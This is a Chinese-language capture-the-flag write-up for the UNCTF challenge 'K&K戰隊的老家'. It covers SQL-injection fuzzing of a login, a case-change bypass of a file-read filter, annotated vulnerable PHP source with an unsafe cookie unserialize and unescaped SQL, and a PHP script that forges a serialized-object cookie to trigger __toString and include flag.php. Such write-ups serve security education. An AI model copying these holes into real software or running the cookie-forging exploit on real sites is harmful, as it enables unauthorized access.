UNCTF:K&K戰隊的老家(反序列化|cookie注入)

 打開頁面,發現只有一個登錄框,我們進行注入,使用burpsuite的fuzzing獲取登陸的payload

 

 

 

 

 

使用頁面登錄,發現只有一個頁面可以打開,打開後提示身份信息有問題

 

 

 

 

這時候發現了一個參數m,fuzz後發現過濾了php|base64,我們換成大寫繞過獲取頁面源碼

 

將輸出的字符串base64解碼一下,拿到home的源碼:

<?php
error_reporting(0);
include "./inc/config.php";
$mothed = $_GET["m"] ? $_GET["m"] : "index";
$cookie = $_COOKIE["identy"];

if($mothed == "login") {
    
    $username = $_POST["user"];
    $userpass = $_POST["pw"];
    if($username == "" || $userpass == "") {
        die('<script>alert("Account or password cannot be empty");window.location.href="./index.php";</script>');
    }
    waf($username);
    waf($userpass);
    $db->user_check($username, $userpass, $session);
    
}
elseif($mothed == "index") {
    check($cookie, $db, $session);
    echo_index();
}
elseif($mothed == "logout") {
    check($cookie, $db, $session);
    setcookie("identy","");
    die('<script>alert("Goodbye");window.location.href="./index.php";</script>');
}
else {
    mothed_waf($mothed);
    $page = $mothed . ".php";
    include($page);
    check($cookie, $db, $session);
    $d = new debug($session, $d);
    $d->vt($session, $d);
    $d->debug($session);
}
?>

 

繼續獲config.php和其他頁面的源代碼

//config.php
<?php
error_reporting(0);
include "session.php";
//include "access.php";
include "func.php";
include "db.php";
$db = new db();
$session = new session();
?>


//session.php
<?php
error_reporting(0);
class session{
    public $choose = 1;
    public $id = 0;
    public $username = "";
}
?>

//func.php
<?php
error_reporting(0);
function waf($str) {
     //過濾,包含大小寫
    if(preg_match('/(and|or|if|select|union|sleep|order|group|by|exp|user|from|where|tables|substr|database|join|greatest|like|not|hex|bin|ascii|md5|benchmark|concat|mid|strcmp|left|right|replace|when|\/|=|>|<|\*|\(|\)|~|%|!|&&|,|"|;|#|\^|-)/i', $str) == 1) {
        die('<script>alert("Illegal");window.location.href="./index.php";</script>');
    }
}

function mothed_waf($str) {
    //過濾,可轉換大小寫繞過
    if(preg_match('/(base64|php|write)/', $str) == 1) {
        die('<script>alert("Illegal");window.location.href="./home.php?m=index";</script>');
    }
    //過濾,包含大小寫
    if(preg_match('/(flag|access)/i', $str) == 1) {
        die('<script>alert("Illegal");window.location.href="./home.php?m=index";</script>');
    }
}

function cookie_decode($str) {
    $data = urldecode($str);
    $data = substr($data, 1);
    $arr = explode('&', $data);
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);
        $num = $num - 240;
        $cipher = $cipher.'%'.dechex($num);
    }
    $key = urldecode($cipher);
    $key = base64_decode($key);
    return $key;
}

function cookie_encode($str) { 
    $key = base64_encode($str);  //base64編碼
    $key = bin2hex($key);      //字符串轉16進制
    $arr = str_split($key, 2);   //分割字符串,每個數組長度爲2
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);//十六進制轉換爲十進制
        $num = $num + 240; //將數組轉換爲10進制後再加上240
        $cipher = $cipher.'&'.dechex($num);//十進制轉換爲十六進制,在進行字符串拼接
    }
    return $cipher;
}

function check($str, $db, &$session) {//$_COOKIE["identy"],db,session
    if($str == "") {
        die('<script>alert("Please login again");window.location.href="./index.php";</script>');
    }
    $objstr = cookie_decode($str);//coodie解碼
    try {
        $session = unserialize($objstr); //反序列化cookie ,存在反序列化漏洞
        $session->id = intval($session->id);
        waf($session->username);
        
    } catch(Exception $e) {
        die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>');
    }
    $db->index_check($session->id, $session->username);
}

function check1($obj) {
    if($obj->username !== "debuger") {
        setcookie("identy", "");
        die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>');
    }
}

function echo_index() {
    echo base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KICAgIAogICAgPHRpdGxlPmhvbWU8L3RpdGxlPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPG1ldGEgbmFtZT0iYXBwbGUtbW9iaWxlLXdlYi1hcHAtc3RhdHVzLWJhci1zdHlsZSIgY29udGVudD0iYmxhY2siPgogICAgPG1ldGEgbmFtZT0iYXBwbGUtbW9iaWxlLXdlYi1hcHAtY2FwYWJsZSIgY29udGVudD0ieWVzIj4KICAgIDxtZXRhIG5hbWU9ImZvcm1hdC1kZXRlY3Rpb24iIGNvbnRlbnQ9InRlbGVwaG9uZT1ubyI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii4vaG9tZV9maWxlcy9sYXl1aS5jc3MiIG1lZGlhPSJhbGwiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIuL2hvbWVfZmlsZXMvZ2xvYmFsLmNzcyIgbWVkaWE9ImFsbCI+CjxsaW5rIHJlbD0icHJlbG9hZCIgaHJlZj0iLi9ob21lX2ZpbGVzL2YoMSkudHh0IiBhcz0ic2NyaXB0Ij48bGluayByZWw9InByZWxvYWQiIGhyZWY9Ii4vaG9tZV9maWxlcy9mLnR4dCIgYXM9InNjcmlwdCI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLi9ob21lX2ZpbGVzL2YudHh0Ij48L3NjcmlwdD48L2hlYWQ+Cgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImxheXVpLWxheW91dCBsYXl1aS1sYXlvdXQtYWRtaW4iPgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLWhlYWRlciBoZWFkZXIgaGVhZGVyLWRlbW8iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsYXl1aS1tYWluIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJsb2dvIiBocmVmPSIuL2hvbWUucGhwP209aW5kZXgiPgogICAgICA8aW1nIHNyYz0iLi9ob21lX2ZpbGVzL2xvZ28ucG5nIj4KICAgIDwvYT4KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLWhpZGUteHMiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIuL2hvbWUucGhwP209bG9nb3V0Ij7pgIDlh7rnmbvlvZU8L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYXl1aS1uYXYtYmFyIiBzdHlsZT0ibGVmdDogNThweDsgdG9wOiA1NXB4OyB3aWR0aDogMHB4OyBvcGFjaXR5OiAwOyI+PC9zcGFuPjwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLXNpZGUgbGF5dWktYmctYmxhY2siPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsYXl1aS1zaWRlLXNjcm9sbCI+CiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImxheXVpLW5hdiBsYXl1aS1uYXYtdHJlZSBzaXRlLWRlbW8tbmF2IiBsYXktZmlsdGVyPSJkZW1vIj4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLW5hdi1pdGVtZWQiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iamF2YXNjcmlwdDo7IiBocmVmPSJqYXZhc2NyaXB0OjsiPui1m+ajjeenmOexjTxzcGFuIGNsYXNzPSJsYXl1aS1uYXYtbW9yZSI+PC9zcGFuPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRsIGNsYXNzPSJsYXl1aS1uYXYtY2hpbGQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii4vaG9tZS5waHA/bT1pbmRleCI+5biI5YKF5Lus55qE5paH56ugPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIuL2hvbWUucGhwP209aW5kZXgiPkNURueahOiHquaIkeS/ruWFuzwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLi9ob21lLnBocD9tPWRlYnVnIj7kv7HkuZDpg6jov5Dnu7TmiYvlhow8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L2RsPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxheXVpLW5hdi1iYXIiIHN0eWxlPSJ0b3A6IDUxNy41cHg7IGhlaWdodDogMHB4OyBvcGFjaXR5OiAwOyI+PC9zcGFuPjwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLWJvZHkgc2l0ZS1kZW1vIj4KICAgICAgICAgIDxpbWcgc3JjPSIuL2hvbWVfZmlsZXMv6KeG5Zu+LnBuZyI+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ibGF5dWktZm9vdGVyIGZvb3RlciBmb290ZXItZGVtbyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLW1haW4iPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8c2NyaXB0IHNyYz0iLi9ob21lX2ZpbGVzL2YoMSkudHh0Ij48L3NjcmlwdD48c2NyaXB0IGFzeW5jPSIiIHNyYz0iLi9ob21lX2ZpbGVzL2Fkc2J5Z29vZ2xlLmpzIj48L3NjcmlwdD4KICAgICAgICA8ZGl2IGNsYXNzPSJzaXRlLXRyZWUtbW9iaWxlIGxheXVpLWhpZGUiPgogICAgICAgICAgICA8aSBjbGFzcz0ibGF5dWktaWNvbiI+7piCPC9pPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InNpdGUtbW9iaWxlLXNoYWRlIj48L2Rpdj4KICAgICAgICA8c2NyaXB0IHNyYz0iLi9ob21lX2ZpbGVzL2xheXVpLmpzIiBjaGFyc2V0PSJ1dGYtOCI+PC9zY3JpcHQ+CiAgICAgICAgPHNjcmlwdD4KICAgICAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBsYXl1aS5lbGVtZW50OwoKICAgICAgICAgICAgZWxlbWVudC5vbignbmF2KGRlbW8pJywgZnVuY3Rpb24oZWxlbSkgewogICAgICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICAgICAgd2luZG93Lmdsb2JhbCA9IHsKICAgICAgICAgICAgcGFnZVR5cGU6ICdkZW1vJywKICAgICAgICAgICAgcHJldmlldzogZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICB2YXIgcHJldmlldyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdMQVlfcHJldmlldycpOwogICAgICAgICAgICAgICAgcmV0dXJuIHByZXZpZXcgPyBwcmV2aWV3LmlubmVySFRNTCA6ICcnOwogICAgICAgICAgICB9CiAgICAgICAgfTsKICAgICAgICA8L3NjcmlwdD4KICAgIDwvZGl2PgoKCgo8L2JvZHk+PC9odG1sPg==");
}

?>


//db.php
<?php
error_reporting(0);
class db{

    public function init() {
        $con = mysql_connect("localhost:3306","dog","123456");
        if(!$con) {
            die("Connect failed: " . mysql_error());
        }
        return $con;
    }

    public function user_check($u, $p, $obj) {//設置cookie的方法
        $sql = "SELECT id,username FROM users WHERE username = '$u' and password = '$p'";
        $con = $this->init();
        mysql_select_db("unctf", $con);
        $result = mysql_query($sql,$con);
        $row = mysql_fetch_array($result);
        if(count($row) >= 4) {
            $obj->id = intval($row['id']);  //1.session的id賦值。 intval()函數默認轉成10進制
            $obj->username = $row['username'];//2.session的username賦值
            $serstr = serialize($obj);  //  3.序列化session對象
}
            $serstr = cookie_encode($serstr);  
            
            setcookie('identy', $serstr);
            echo('<script>alert("Login Success");window.location.href="./home.php?m=index";</script>');
        }
        else {
            die('<script>alert("Login Fail");window.location.href="./index.php";</script>');
        }
    }

    public function index_check($i, $u) {
        $sql = "SELECT id,username FROM users WHERE username = '$u' and id = $i";
        $con = $this->init();
        mysql_select_db("unctf", $con);
        $result = mysql_query($sql,$con);
        $row = mysql_fetch_array($result);
        if(count($row) < 4) {
            setcookie("identy", "");
            die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>');
        }
    }
}

?>


//access.php.bak

<?php
error_reporting(0);
$hack_token = '3ecReK&key';
try {
    $d = unserialize($this->funny);
} catch(Exception $e) {
    echo '';
}
?>


//debug.php

<?php
error_reporting(0);
class debug{

    public $choose = 0;
    public $forbidden = "Good Luck :|";
    public $access_token = "";
    public $ob = NULL;
    
    public function __construct($obj, &$d) {//$session, $d
        $this->vt($obj, $d);
        if($this->ob->username !== "debuger") {
            setcookie("identy", "");
            die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>');
        }
    }
    
    public function vt($obj, &$d) {  //$session, $d
        if($this->ob != $obj) {
            $this->ob = $obj;    //ojb=session
        }
        if(!($obj instanceof session)) {//判斷obj是不是session的實例
            $d = $obj; //token=session
        }
    }
    
    public function __toString() {//當一個對象被當作字符串對待的時候,會觸發這個魔術方法
        if($this->access_token === "") {//這裏注意反序列化後access_token要爲“”,否則不會包含flag.php文件
            include("flag.php");
        }
    }
    
    public function debug($obj, &$d) {
        $this->vt($obj, $d);
        check1($this->ob); //檢查username是否爲debuger,這裏要相等
        if($this->choose === 0) {
            $this->choose = $this->ob->choose;  //ob=session,session要傳入choose=2,但是要不能進入下面的die()函數,使用字符串 "2" 繞過
        }
        if($this->choose !== 1) {
            if($this->choose === 2) {
                die('<script>alert("This is a forbidden option");window.location.href="./home.php?m=debug";</script>');
            }
        }
        
        switch($this->choose)//switch非嚴格匹配,自動轉換類型
        {
        case 1:
            echo "You like hsy :(";
            break;
        case 2:
            echo $this->forbidden;//這裏觸發__toString()方法,構造forbidden爲debug類的對象,echo即可觸發
            break;
        default:
            echo "Good debuger :)";
        }
        
    }
    
    public function __destruct() {
        echo '';
    }
}

?>


(這裏的access.php.bak是審計代碼後fuzz發現的文件)

 

審計代碼後編寫php腳本構造cookie(funny參數是前面fuzz獲取到的一個參數,需要構造傳入一個access_token 才能得到flag文件)

<?php
class debug{

    public $forbidden = "";
    public $access_token = "";
    public $ob = NULL;
    public $choose = "2";
    public $id = 2;
    public $username = "debuger";
    public $funny='O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}';
    public function __construct()
    {
        $this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
    }
}
function cookie_encode($str) { 
    $key = base64_encode($str);  //base64編碼
    $key = bin2hex($key);      //字符串轉16進制
    $arr = str_split($key, 2);   //分割字符串,每個數組長度爲2
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);//十六進制轉換爲十進制
        $num = $num + 240; //將數組轉換爲10進制後再加上240
        $cipher = $cipher.'&'.dechex($num);//十進制轉換爲十六進制,在進行字符串拼接
    }
    return $cipher;
}

$a=new debug();

$serstr = serialize($a); 
$serstr = cookie_encode($serstr);  
echo $serstr;

?>

注意這裏$funny要傳入access_token,而$forbidden 的access_token要爲空,不然不會包含flag.php文件

 

將腳本獲取的cookie使用url編碼,用BurpSuite抓包更改Cookie的identy:

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章